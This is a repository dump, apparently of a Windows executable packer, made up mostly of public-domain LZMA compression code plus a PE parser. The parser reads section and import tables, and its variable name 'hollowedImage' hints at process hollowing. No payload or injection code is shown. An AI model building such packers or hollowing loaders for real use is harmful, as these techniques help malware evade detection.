HeapSortDown(p, k, size, temp) 29 | } 30 | while (--i != 0); 31 | } 32 | /* 33 | do 34 | { 35 | size_t k = 1; 36 | UInt32 temp = p[size]; 37 | p[size--] = p[1]; 38 | HeapSortDown(p, k, size, temp) 39 | } 40 | while (size > 1); 41 | */ 42 | while (size > 3) 43 | { 44 | UInt32 temp = p[size]; 45 | size_t k = (p[3] > p[2]) ? 3 : 2; 46 | p[size--] = p[1]; 47 | p[1] = p[k]; 48 | HeapSortDown(p, k, size, temp) 49 | } 50 | { 51 | UInt32 temp = p[size]; 52 | p[size] = p[1]; 53 | if (size > 2 && p[2] < temp) 54 | { 55 | p[1] = p[2]; 56 | p[2] = temp; 57 | } 58 | else 59 | p[1] = temp; 60 | } 61 | } 62 | 63 | void HeapSort64(UInt64 *p, size_t size) 64 | { 65 | if (size <= 1) 66 | return; 67 | p--; 68 | { 69 | size_t i = size / 2; 70 | do 71 | { 72 | UInt64 temp = p[i]; 73 | size_t k = i; 74 | HeapSortDown(p, k, size, temp) 75 | } 76 | while (--i != 0); 77 | } 78 | /* 79 | do 80 | { 81 | size_t k = 1; 82 | UInt64 temp = p[size]; 83 | p[size--] = p[1]; 84 | HeapSortDown(p, k, size, temp) 85 | } 86 | while (size > 1); 87 | */ 88 | while (size > 3) 89 | { 90 | UInt64 temp = p[size]; 91 | size_t k = (p[3] > p[2]) ? 3 : 2; 92 | p[size--] = p[1]; 93 | p[1] = p[k]; 94 | HeapSortDown(p, k, size, temp) 95 | } 96 | { 97 | UInt64 temp = p[size]; 98 | p[size] = p[1]; 99 | if (size > 2 && p[2] < temp) 100 | { 101 | p[1] = p[2]; 102 | p[2] = temp; 103 | } 104 | else 105 | p[1] = temp; 106 | } 107 | } 108 | 109 | /* 110 | #define HeapSortRefDown(p, vals, n, size, temp) \ 111 | { size_t k = n; UInt32 val = vals[temp]; for (;;) { \ 112 | size_t s = (k << 1); \ 113 | if (s > size) break; \ 114 | if (s < size && vals[p[s + 1]] > vals[p[s]]) s++; \ 115 | if (val >= vals[p[s]]) break; \ 116 | p[k] = p[s]; k = s; \ 117 | } p[k] = temp; } 118 | 119 | void HeapSortRef(UInt32 *p, UInt32 *vals, size_t size) 120 | { 121 | if (size <= 1) 122 | return; 123 | p--; 124 | { 125 | size_t i = size / 2; 126 | do 127 | { 128 | UInt32 temp = p[i]; 129 | HeapSortRefDown(p, vals, i, size, temp); 130 | } 131 | while (--i != 0); 132 | } 133 | do 134 | { 135 | UInt32 temp = p[size]; 136 | p[size--] = p[1]; 137 | HeapSortRefDown(p, vals, 1, size, temp); 138 | } 139 | while (size > 1); 140 | } 141 | */ 142 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/LzmaEnc.h: -------------------------------------------------------------------------------- 1 | /* LzmaEnc.h -- LZMA Encoder 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZMA_ENC_H 5 | #define __LZMA_ENC_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define LZMA_PROPS_SIZE 5 12 | 13 | typedef struct _CLzmaEncProps 14 | { 15 | int level; /* 0 <= level <= 9 */ 16 | UInt32 dictSize; /* (1 << 12) <= dictSize <= (1 << 27) for 32-bit version 17 | (1 << 12) <= dictSize <= (1 << 30) for 64-bit version 18 | default = (1 << 24) */ 19 | UInt64 reduceSize; /* estimated size of data that will be compressed. default = 0xFFFFFFFF. 20 | Encoder uses this value to reduce dictionary size */ 21 | int lc; /* 0 <= lc <= 8, default = 3 */ 22 | int lp; /* 0 <= lp <= 4, default = 0 */ 23 | int pb; /* 0 <= pb <= 4, default = 2 */ 24 | int algo; /* 0 - fast, 1 - normal, default = 1 */ 25 | int fb; /* 5 <= fb <= 273, default = 32 */ 26 | int btMode; /* 0 - hashChain Mode, 1 - binTree mode - normal, default = 1 */ 27 | int numHashBytes; /* 2, 3 or 4, default = 4 */ 28 | UInt32 mc; /* 1 <= mc <= (1 << 30), default = 32 */ 29 | unsigned writeEndMark; /* 0 - do not write EOPM, 1 - write EOPM, default = 0 */ 30 | int numThreads; /* 1 or 2, default = 2 */ 31 | } CLzmaEncProps; 32 | 33 | void LzmaEncProps_Init(CLzmaEncProps *p); 34 | void LzmaEncProps_Normalize(CLzmaEncProps *p); 35 | UInt32 LzmaEncProps_GetDictSize(const CLzmaEncProps *props2); 36 | 37 | 38 | /* ---------- CLzmaEncHandle Interface ---------- */ 39 | 40 | /* LzmaEnc_* functions can return the following exit codes: 41 | Returns: 42 | SZ_OK - OK 43 | SZ_ERROR_MEM - Memory allocation error 44 | SZ_ERROR_PARAM - Incorrect paramater in props 45 | SZ_ERROR_WRITE - Write callback error. 46 | SZ_ERROR_PROGRESS - some break from progress callback 47 | SZ_ERROR_THREAD - errors in multithreading functions (only for Mt version) 48 | */ 49 | 50 | typedef void * CLzmaEncHandle; 51 | 52 | CLzmaEncHandle LzmaEnc_Create(ISzAlloc *alloc); 53 | void LzmaEnc_Destroy(CLzmaEncHandle p, ISzAlloc *alloc, ISzAlloc *allocBig); 54 | SRes LzmaEnc_SetProps(CLzmaEncHandle p, const CLzmaEncProps *props); 55 | SRes LzmaEnc_WriteProperties(CLzmaEncHandle p, Byte *properties, SizeT *size); 56 | SRes LzmaEnc_Encode(CLzmaEncHandle p, ISeqOutStream *outStream, ISeqInStream *inStream, 57 | ICompressProgress *progress, ISzAlloc *alloc, ISzAlloc *allocBig); 58 | SRes LzmaEnc_MemEncode(CLzmaEncHandle p, Byte *dest, SizeT *destLen, const Byte *src, SizeT srcLen, 59 | int writeEndMark, ICompressProgress *progress, ISzAlloc *alloc, ISzAlloc *allocBig); 60 | 61 | /* ---------- One Call Interface ---------- */ 62 | 63 | /* LzmaEncode 64 | Return code: 65 | SZ_OK - OK 66 | SZ_ERROR_MEM - Memory allocation error 67 | SZ_ERROR_PARAM - Incorrect paramater 68 | SZ_ERROR_OUTPUT_EOF - output buffer overflow 69 | SZ_ERROR_THREAD - errors in multithreading functions (only for Mt version) 70 | */ 71 | 72 | SRes LzmaEncode(Byte *dest, SizeT *destLen, const Byte *src, SizeT srcLen, 73 | const CLzmaEncProps *props, Byte *propsEncoded, SizeT *propsSize, int writeEndMark, 74 | ICompressProgress *progress, ISzAlloc *alloc, ISzAlloc *allocBig); 75 | 76 | EXTERN_C_END 77 | 78 | #endif 79 | -------------------------------------------------------------------------------- /RISCYPacker/RISCYPacker.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | Header Files 47 | 48 | 49 | Header Files 50 | 51 | 52 | Header Files 53 | 54 | 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files 61 | 62 | 63 | Source Files 64 | 65 | 66 | Source Files 67 | 68 | 69 | Source Files 70 | 71 | 72 | 73 | 74 | Resource Files 75 | 76 | 77 | 78 | 79 | Resource Files 80 | 81 | 82 | Resource Files 83 | 84 | 85 | Resource Files 86 | 87 | 88 | Resource Files 89 | 90 | 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /RISCYPacker/PEData.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "PEData.h" 3 | #include 4 | 5 | PEData::PEData(IMAGE_DOS_HEADER *exe) 6 | { 7 | 8 | 9 | Init(exe); 10 | } 11 | 12 | PEData::PEData(std::wstring filePath) 13 | { 14 | HANDLE hPE = CreateFile(filePath.c_str(), GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, 0); 15 | if (hPE == NULL) 16 | exit(-1); 17 | LARGE_INTEGER fileSize = { 0,0 }; 18 | GetFileSizeEx(hPE, &fileSize); 19 | IMAGE_DOS_HEADER *hollowedImage = (IMAGE_DOS_HEADER*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize.LowPart); 20 | ReadFile(hPE, (void*)hollowedImage, fileSize.LowPart, NULL, NULL); 21 | CloseHandle(hPE); 22 | 23 | Init(hollowedImage); 24 | } 25 | 26 | void PEData::Init(IMAGE_DOS_HEADER *exe) 27 | { 28 | this->exe = (void*)exe; 29 | this->I_ntHeader = (IMAGE_NT_HEADERS*)((int)exe + ((IMAGE_DOS_HEADER*)exe)->e_lfanew); 30 | this->I_fileHeader = (IMAGE_FILE_HEADER*)&I_ntHeader->FileHeader; 31 | this->I_optionalHeader = (IMAGE_OPTIONAL_HEADER*)&this->I_ntHeader->OptionalHeader; 32 | ExtractSections(); 33 | ExtractImports(); 34 | } 35 | 36 | DWORD PEData::Rva2Offset(DWORD dwRva) 37 | { 38 | IMAGE_SECTION_HEADER *secHeader = IMAGE_FIRST_SECTION(this->I_ntHeader); 39 | 40 | for (USHORT i = 0; i < this->I_fileHeader->NumberOfSections; i++) 41 | { 42 | if (dwRva >= secHeader->VirtualAddress) 43 | { 44 | if (dwRva < secHeader->VirtualAddress + secHeader->Misc.VirtualSize) 45 | return (DWORD)(dwRva - secHeader->VirtualAddress + secHeader->PointerToRawData); 46 | } 47 | secHeader++; 48 | } 49 | return -1; 50 | } 51 | 52 | void PEData::ExtractSections() 53 | { 54 | IMAGE_SECTION_HEADER *secHeader = IMAGE_FIRST_SECTION(this->I_ntHeader); 55 | 56 | for (int i = 0; i < this->I_fileHeader->NumberOfSections; i++) 57 | { 58 | si.push_back(SectionInfo((char*)secHeader->Name, secHeader->PointerToRawData, secHeader->VirtualAddress, secHeader->SizeOfRawData, secHeader->Misc.VirtualSize)); 59 | secHeader++; 60 | } 61 | 62 | } 63 | 64 | //sort function ordering by OFT 65 | bool sortOFT(IMAGE_IMPORT_DESCRIPTOR* a, IMAGE_IMPORT_DESCRIPTOR* b) 66 | { 67 | if (a->OriginalFirstThunk > b->OriginalFirstThunk) 68 | return false; 69 | return true; 70 | } 71 | 72 | void PEData::ExtractImports() 73 | { 74 | 75 | IMAGE_IMPORT_DESCRIPTOR *imports = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD)exe + Rva2Offset(this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)); 76 | 77 | std::vector thunkList; 78 | //Do not convert to raw address, we need loaded location 79 | this->iat.offset = this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress; 80 | int importSize = (this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)/sizeof(IMAGE_IMPORT_DESCRIPTOR); 81 | //build in order import (needed for IAT) 82 | while(imports->Name!=NULL) 83 | { 84 | thunkList.push_back(imports); 85 | imports++; 86 | } 87 | 88 | std::sort(thunkList.begin(), thunkList.end(),sortOFT); 89 | 90 | for (std::vector::iterator it = thunkList.begin(); it != thunkList.end(); ++it) 91 | { 92 | Thunk t; 93 | 94 | t.libname = std::string((char*)((DWORD)exe + Rva2Offset((*it)->Name))); 95 | 96 | IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((int)exe + Rva2Offset((*it)->OriginalFirstThunk)); 97 | while (*(DWORD*)thunk != NULL) { 98 | 99 | t.functionNames.push_back((char*)((int)exe + Rva2Offset(thunk->u1.Function+2))); 100 | thunk++; 101 | } 102 | this->iat.thunks.push_back(t); 103 | } 104 | 105 | } 106 | 107 | PEData::~PEData() 108 | { 109 | } 110 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Lzma86.h: -------------------------------------------------------------------------------- 1 | /* Lzma86.h -- LZMA + x86 (BCJ) Filter 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZMA86_H 5 | #define __LZMA86_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define LZMA86_SIZE_OFFSET (1 + 5) 12 | #define LZMA86_HEADER_SIZE (LZMA86_SIZE_OFFSET + 8) 13 | 14 | /* 15 | It's an example for LZMA + x86 Filter use. 16 | You can use .lzma86 extension, if you write that stream to file. 17 | .lzma86 header adds one additional byte to standard .lzma header. 18 | .lzma86 header (14 bytes): 19 | Offset Size Description 20 | 0 1 = 0 - no filter, pure LZMA 21 | = 1 - x86 filter + LZMA 22 | 1 1 lc, lp and pb in encoded form 23 | 2 4 dictSize (little endian) 24 | 6 8 uncompressed size (little endian) 25 | 26 | 27 | Lzma86_Encode 28 | ------------- 29 | level - compression level: 0 <= level <= 9, the default value for "level" is 5. 30 | 31 | dictSize - The dictionary size in bytes. The maximum value is 32 | 128 MB = (1 << 27) bytes for 32-bit version 33 | 1 GB = (1 << 30) bytes for 64-bit version 34 | The default value is 16 MB = (1 << 24) bytes, for level = 5. 35 | It's recommended to use the dictionary that is larger than 4 KB and 36 | that can be calculated as (1 << N) or (3 << N) sizes. 37 | For better compression ratio dictSize must be >= inSize. 38 | 39 | filterMode: 40 | SZ_FILTER_NO - no Filter 41 | SZ_FILTER_YES - x86 Filter 42 | SZ_FILTER_AUTO - it tries both alternatives to select best. 43 | Encoder will use 2 or 3 passes: 44 | 2 passes when FILTER_NO provides better compression. 45 | 3 passes when FILTER_YES provides better compression. 46 | 47 | Lzma86Encode allocates Data with MyAlloc functions. 48 | RAM Requirements for compressing: 49 | RamSize = dictionarySize * 11.5 + 6MB + FilterBlockSize 50 | filterMode FilterBlockSize 51 | SZ_FILTER_NO 0 52 | SZ_FILTER_YES inSize 53 | SZ_FILTER_AUTO inSize 54 | 55 | 56 | Return code: 57 | SZ_OK - OK 58 | SZ_ERROR_MEM - Memory allocation error 59 | SZ_ERROR_PARAM - Incorrect paramater 60 | SZ_ERROR_OUTPUT_EOF - output buffer overflow 61 | SZ_ERROR_THREAD - errors in multithreading functions (only for Mt version) 62 | */ 63 | 64 | enum ESzFilterMode 65 | { 66 | SZ_FILTER_NO, 67 | SZ_FILTER_YES, 68 | SZ_FILTER_AUTO 69 | }; 70 | 71 | SRes Lzma86_Encode(Byte *dest, size_t *destLen, const Byte *src, size_t srcLen, 72 | int level, UInt32 dictSize, int filterMode); 73 | 74 | 75 | /* 76 | Lzma86_GetUnpackSize: 77 | In: 78 | src - input data 79 | srcLen - input data size 80 | Out: 81 | unpackSize - size of uncompressed stream 82 | Return code: 83 | SZ_OK - OK 84 | SZ_ERROR_INPUT_EOF - Error in headers 85 | */ 86 | 87 | SRes Lzma86_GetUnpackSize(const Byte *src, SizeT srcLen, UInt64 *unpackSize); 88 | 89 | /* 90 | Lzma86_Decode: 91 | In: 92 | dest - output data 93 | destLen - output data size 94 | src - input data 95 | srcLen - input data size 96 | Out: 97 | destLen - processed output size 98 | srcLen - processed input size 99 | Return code: 100 | SZ_OK - OK 101 | SZ_ERROR_DATA - Data error 102 | SZ_ERROR_MEM - Memory allocation error 103 | SZ_ERROR_UNSUPPORTED - unsupported file 104 | SZ_ERROR_INPUT_EOF - it needs more bytes in input buffer 105 | */ 106 | 107 | SRes Lzma86_Decode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen); 108 | 109 | EXTERN_C_END 110 | 111 | #endif 112 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zCrc.c: -------------------------------------------------------------------------------- 1 | /* 7zCrc.c -- CRC32 init 2 | 2015-03-10 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "7zCrc.h" 7 | #include "CpuArch.h" 8 | 9 | #define kCrcPoly 0xEDB88320 10 | 11 | #ifdef MY_CPU_LE 12 | #define CRC_NUM_TABLES 8 13 | #else 14 | #define CRC_NUM_TABLES 9 15 | 16 | #define CRC_UINT32_SWAP(v) ((v >> 24) | ((v >> 8) & 0xFF00) | ((v << 8) & 0xFF0000) | (v << 24)) 17 | 18 | UInt32 MY_FAST_CALL CrcUpdateT1_BeT4(UInt32 v, const void *data, size_t size, const UInt32 *table); 19 | UInt32 MY_FAST_CALL CrcUpdateT1_BeT8(UInt32 v, const void *data, size_t size, const UInt32 *table); 20 | #endif 21 | 22 | #ifndef MY_CPU_BE 23 | UInt32 MY_FAST_CALL CrcUpdateT4(UInt32 v, const void *data, size_t size, const UInt32 *table); 24 | UInt32 MY_FAST_CALL CrcUpdateT8(UInt32 v, const void *data, size_t size, const UInt32 *table); 25 | #endif 26 | 27 | typedef UInt32 (MY_FAST_CALL *CRC_FUNC)(UInt32 v, const void *data, size_t size, const UInt32 *table); 28 | 29 | CRC_FUNC g_CrcUpdateT4; 30 | CRC_FUNC g_CrcUpdateT8; 31 | CRC_FUNC g_CrcUpdate; 32 | 33 | UInt32 g_CrcTable[256 * CRC_NUM_TABLES]; 34 | 35 | UInt32 MY_FAST_CALL CrcUpdate(UInt32 v, const void *data, size_t size) 36 | { 37 | return g_CrcUpdate(v, data, size, g_CrcTable); 38 | } 39 | 40 | UInt32 MY_FAST_CALL CrcCalc(const void *data, size_t size) 41 | { 42 | return g_CrcUpdate(CRC_INIT_VAL, data, size, g_CrcTable) ^ CRC_INIT_VAL; 43 | } 44 | 45 | #define CRC_UPDATE_BYTE_2(crc, b) (table[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) 46 | 47 | UInt32 MY_FAST_CALL CrcUpdateT1(UInt32 v, const void *data, size_t size, const UInt32 *table) 48 | { 49 | const Byte *p = (const Byte *)data; 50 | const Byte *pEnd = p + size; 51 | for (; p != pEnd; p++) 52 | v = CRC_UPDATE_BYTE_2(v, *p); 53 | return v; 54 | } 55 | 56 | void MY_FAST_CALL CrcGenerateTable() 57 | { 58 | UInt32 i; 59 | for (i = 0; i < 256; i++) 60 | { 61 | UInt32 r = i; 62 | unsigned j; 63 | for (j = 0; j < 8; j++) 64 | r = (r >> 1) ^ (kCrcPoly & ~((r & 1) - 1)); 65 | g_CrcTable[i] = r; 66 | } 67 | for (; i < 256 * CRC_NUM_TABLES; i++) 68 | { 69 | UInt32 r = g_CrcTable[i - 256]; 70 | g_CrcTable[i] = g_CrcTable[r & 0xFF] ^ (r >> 8); 71 | } 72 | 73 | #if CRC_NUM_TABLES < 4 74 | 75 | g_CrcUpdate = CrcUpdateT1; 76 | 77 | #else 78 | 79 | #ifdef MY_CPU_LE 80 | 81 | g_CrcUpdateT4 = CrcUpdateT4; 82 | g_CrcUpdate = CrcUpdateT4; 83 | 84 | #if CRC_NUM_TABLES >= 8 85 | g_CrcUpdateT8 = CrcUpdateT8; 86 | 87 | #ifdef MY_CPU_X86_OR_AMD64 88 | if (!CPU_Is_InOrder()) 89 | g_CrcUpdate = CrcUpdateT8; 90 | #endif 91 | #endif 92 | 93 | #else 94 | { 95 | #ifndef MY_CPU_BE 96 | UInt32 k = 0x01020304; 97 | const Byte *p = (const Byte *)&k; 98 | if (p[0] == 4 && p[1] == 3) 99 | { 100 | g_CrcUpdateT4 = CrcUpdateT4; 101 | g_CrcUpdate = CrcUpdateT4; 102 | #if CRC_NUM_TABLES >= 8 103 | g_CrcUpdateT8 = CrcUpdateT8; 104 | // g_CrcUpdate = CrcUpdateT8; 105 | #endif 106 | } 107 | else if (p[0] != 1 || p[1] != 2) 108 | g_CrcUpdate = CrcUpdateT1; 109 | else 110 | #endif 111 | { 112 | for (i = 256 * CRC_NUM_TABLES - 1; i >= 256; i--) 113 | { 114 | UInt32 x = g_CrcTable[i - 256]; 115 | g_CrcTable[i] = CRC_UINT32_SWAP(x); 116 | } 117 | g_CrcUpdateT4 = CrcUpdateT1_BeT4; 118 | g_CrcUpdate = CrcUpdateT1_BeT4; 119 | #if CRC_NUM_TABLES >= 8 120 | g_CrcUpdateT8 = CrcUpdateT1_BeT8; 121 | // g_CrcUpdate = CrcUpdateT1_BeT8; 122 | #endif 123 | } 124 | } 125 | #endif 126 | 127 | #endif 128 | } 129 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Alloc.c: -------------------------------------------------------------------------------- 1 | /* Alloc.c -- Memory allocation functions 2 | 2015-02-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #ifdef _WIN32 7 | #include 8 | #endif 9 | #include 10 | 11 | #include "Alloc.h" 12 | 13 | /* #define _SZ_ALLOC_DEBUG */ 14 | 15 | /* use _SZ_ALLOC_DEBUG to debug alloc/free operations */ 16 | #ifdef _SZ_ALLOC_DEBUG 17 | #include 18 | int g_allocCount = 0; 19 | int g_allocCountMid = 0; 20 | int g_allocCountBig = 0; 21 | #endif 22 | 23 | void *MyAlloc(size_t size) 24 | { 25 | if (size == 0) 26 | return 0; 27 | #ifdef _SZ_ALLOC_DEBUG 28 | { 29 | void *p = malloc(size); 30 | fprintf(stderr, "\nAlloc %10d bytes, count = %10d, addr = %8X", size, g_allocCount++, (unsigned)p); 31 | return p; 32 | } 33 | #else 34 | return malloc(size); 35 | #endif 36 | } 37 | 38 | void MyFree(void *address) 39 | { 40 | #ifdef _SZ_ALLOC_DEBUG 41 | if (address != 0) 42 | fprintf(stderr, "\nFree; count = %10d, addr = %8X", --g_allocCount, (unsigned)address); 43 | #endif 44 | free(address); 45 | } 46 | 47 | #ifdef _WIN32 48 | 49 | void *MidAlloc(size_t size) 50 | { 51 | if (size == 0) 52 | return 0; 53 | #ifdef _SZ_ALLOC_DEBUG 54 | fprintf(stderr, "\nAlloc_Mid %10d bytes; count = %10d", size, g_allocCountMid++); 55 | #endif 56 | return VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE); 57 | } 58 | 59 | void MidFree(void *address) 60 | { 61 | #ifdef _SZ_ALLOC_DEBUG 62 | if (address != 0) 63 | fprintf(stderr, "\nFree_Mid; count = %10d", --g_allocCountMid); 64 | #endif 65 | if (address == 0) 66 | return; 67 | VirtualFree(address, 0, MEM_RELEASE); 68 | } 69 | 70 | #ifndef MEM_LARGE_PAGES 71 | #undef _7ZIP_LARGE_PAGES 72 | #endif 73 | 74 | #ifdef _7ZIP_LARGE_PAGES 75 | SIZE_T g_LargePageSize = 0; 76 | typedef SIZE_T (WINAPI *GetLargePageMinimumP)(); 77 | #endif 78 | 79 | void SetLargePageSize() 80 | { 81 | #ifdef _7ZIP_LARGE_PAGES 82 | SIZE_T size = 0; 83 | GetLargePageMinimumP largePageMinimum = (GetLargePageMinimumP) 84 | GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetLargePageMinimum"); 85 | if (largePageMinimum == 0) 86 | return; 87 | size = largePageMinimum(); 88 | if (size == 0 || (size & (size - 1)) != 0) 89 | return; 90 | g_LargePageSize = size; 91 | #endif 92 | } 93 | 94 | 95 | void *BigAlloc(size_t size) 96 | { 97 | if (size == 0) 98 | return 0; 99 | #ifdef _SZ_ALLOC_DEBUG 100 | fprintf(stderr, "\nAlloc_Big %10d bytes; count = %10d", size, g_allocCountBig++); 101 | #endif 102 | 103 | #ifdef _7ZIP_LARGE_PAGES 104 | if (g_LargePageSize != 0 && g_LargePageSize <= (1 << 30) && size >= (1 << 18)) 105 | { 106 | void *res = VirtualAlloc(0, (size + g_LargePageSize - 1) & (~(g_LargePageSize - 1)), 107 | MEM_COMMIT | MEM_LARGE_PAGES, PAGE_READWRITE); 108 | if (res != 0) 109 | return res; 110 | } 111 | #endif 112 | return VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE); 113 | } 114 | 115 | void BigFree(void *address) 116 | { 117 | #ifdef _SZ_ALLOC_DEBUG 118 | if (address != 0) 119 | fprintf(stderr, "\nFree_Big; count = %10d", --g_allocCountBig); 120 | #endif 121 | 122 | if (address == 0) 123 | return; 124 | VirtualFree(address, 0, MEM_RELEASE); 125 | } 126 | 127 | #endif 128 | 129 | 130 | static void *SzAlloc(void *p, size_t size) { UNUSED_VAR(p); return MyAlloc(size); } 131 | static void SzFree(void *p, void *address) { UNUSED_VAR(p); MyFree(address); } 132 | ISzAlloc g_Alloc = { SzAlloc, SzFree }; 133 | 134 | static void *SzBigAlloc(void *p, size_t size) { UNUSED_VAR(p); return BigAlloc(size); } 135 | static void SzBigFree(void *p, void *address) { UNUSED_VAR(p); BigFree(address); } 136 | ISzAlloc g_BigAlloc = { SzBigAlloc, SzBigFree }; 137 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Bra.c: -------------------------------------------------------------------------------- 1 | /* Bra.c -- Converters for RISC code 2 | 2010-04-16 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "Bra.h" 7 | 8 | SizeT ARM_Convert(Byte *data, SizeT size, UInt32 ip, int encoding) 9 | { 10 | SizeT i; 11 | if (size < 4) 12 | return 0; 13 | size -= 4; 14 | ip += 8; 15 | for (i = 0; i <= size; i += 4) 16 | { 17 | if (data[i + 3] == 0xEB) 18 | { 19 | UInt32 dest; 20 | UInt32 src = ((UInt32)data[i + 2] << 16) | ((UInt32)data[i + 1] << 8) | (data[i + 0]); 21 | src <<= 2; 22 | if (encoding) 23 | dest = ip + (UInt32)i + src; 24 | else 25 | dest = src - (ip + (UInt32)i); 26 | dest >>= 2; 27 | data[i + 2] = (Byte)(dest >> 16); 28 | data[i + 1] = (Byte)(dest >> 8); 29 | data[i + 0] = (Byte)dest; 30 | } 31 | } 32 | return i; 33 | } 34 | 35 | SizeT ARMT_Convert(Byte *data, SizeT size, UInt32 ip, int encoding) 36 | { 37 | SizeT i; 38 | if (size < 4) 39 | return 0; 40 | size -= 4; 41 | ip += 4; 42 | for (i = 0; i <= size; i += 2) 43 | { 44 | if ((data[i + 1] & 0xF8) == 0xF0 && 45 | (data[i + 3] & 0xF8) == 0xF8) 46 | { 47 | UInt32 dest; 48 | UInt32 src = 49 | (((UInt32)data[i + 1] & 0x7) << 19) | 50 | ((UInt32)data[i + 0] << 11) | 51 | (((UInt32)data[i + 3] & 0x7) << 8) | 52 | (data[i + 2]); 53 | 54 | src <<= 1; 55 | if (encoding) 56 | dest = ip + (UInt32)i + src; 57 | else 58 | dest = src - (ip + (UInt32)i); 59 | dest >>= 1; 60 | 61 | data[i + 1] = (Byte)(0xF0 | ((dest >> 19) & 0x7)); 62 | data[i + 0] = (Byte)(dest >> 11); 63 | data[i + 3] = (Byte)(0xF8 | ((dest >> 8) & 0x7)); 64 | data[i + 2] = (Byte)dest; 65 | i += 2; 66 | } 67 | } 68 | return i; 69 | } 70 | 71 | SizeT PPC_Convert(Byte *data, SizeT size, UInt32 ip, int encoding) 72 | { 73 | SizeT i; 74 | if (size < 4) 75 | return 0; 76 | size -= 4; 77 | for (i = 0; i <= size; i += 4) 78 | { 79 | if ((data[i] >> 2) == 0x12 && (data[i + 3] & 3) == 1) 80 | { 81 | UInt32 src = ((UInt32)(data[i + 0] & 3) << 24) | 82 | ((UInt32)data[i + 1] << 16) | 83 | ((UInt32)data[i + 2] << 8) | 84 | ((UInt32)data[i + 3] & (~3)); 85 | 86 | UInt32 dest; 87 | if (encoding) 88 | dest = ip + (UInt32)i + src; 89 | else 90 | dest = src - (ip + (UInt32)i); 91 | data[i + 0] = (Byte)(0x48 | ((dest >> 24) & 0x3)); 92 | data[i + 1] = (Byte)(dest >> 16); 93 | data[i + 2] = (Byte)(dest >> 8); 94 | data[i + 3] &= 0x3; 95 | data[i + 3] |= dest; 96 | } 97 | } 98 | return i; 99 | } 100 | 101 | SizeT SPARC_Convert(Byte *data, SizeT size, UInt32 ip, int encoding) 102 | { 103 | UInt32 i; 104 | if (size < 4) 105 | return 0; 106 | size -= 4; 107 | for (i = 0; i <= size; i += 4) 108 | { 109 | if ((data[i] == 0x40 && (data[i + 1] & 0xC0) == 0x00) || 110 | (data[i] == 0x7F && (data[i + 1] & 0xC0) == 0xC0)) 111 | { 112 | UInt32 src = 113 | ((UInt32)data[i + 0] << 24) | 114 | ((UInt32)data[i + 1] << 16) | 115 | ((UInt32)data[i + 2] << 8) | 116 | ((UInt32)data[i + 3]); 117 | UInt32 dest; 118 | 119 | src <<= 2; 120 | if (encoding) 121 | dest = ip + i + src; 122 | else 123 | dest = src - (ip + i); 124 | dest >>= 2; 125 | 126 | dest = (((0 - ((dest >> 22) & 1)) << 22) & 0x3FFFFFFF) | (dest & 0x3FFFFF) | 0x40000000; 127 | 128 | data[i + 0] = (Byte)(dest >> 24); 129 | data[i + 1] = (Byte)(dest >> 16); 130 | data[i + 2] = (Byte)(dest >> 8); 131 | data[i + 3] = (Byte)dest; 132 | } 133 | } 134 | return i; 135 | } 136 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Bcj2.h: -------------------------------------------------------------------------------- 1 | /* Bcj2.h -- BCJ2 Converter for x86 code 2 | 2014-11-10 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __BCJ2_H 5 | #define __BCJ2_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define BCJ2_NUM_STREAMS 4 12 | 13 | enum 14 | { 15 | BCJ2_STREAM_MAIN, 16 | BCJ2_STREAM_CALL, 17 | BCJ2_STREAM_JUMP, 18 | BCJ2_STREAM_RC 19 | }; 20 | 21 | enum 22 | { 23 | BCJ2_DEC_STATE_ORIG_0 = BCJ2_NUM_STREAMS, 24 | BCJ2_DEC_STATE_ORIG_1, 25 | 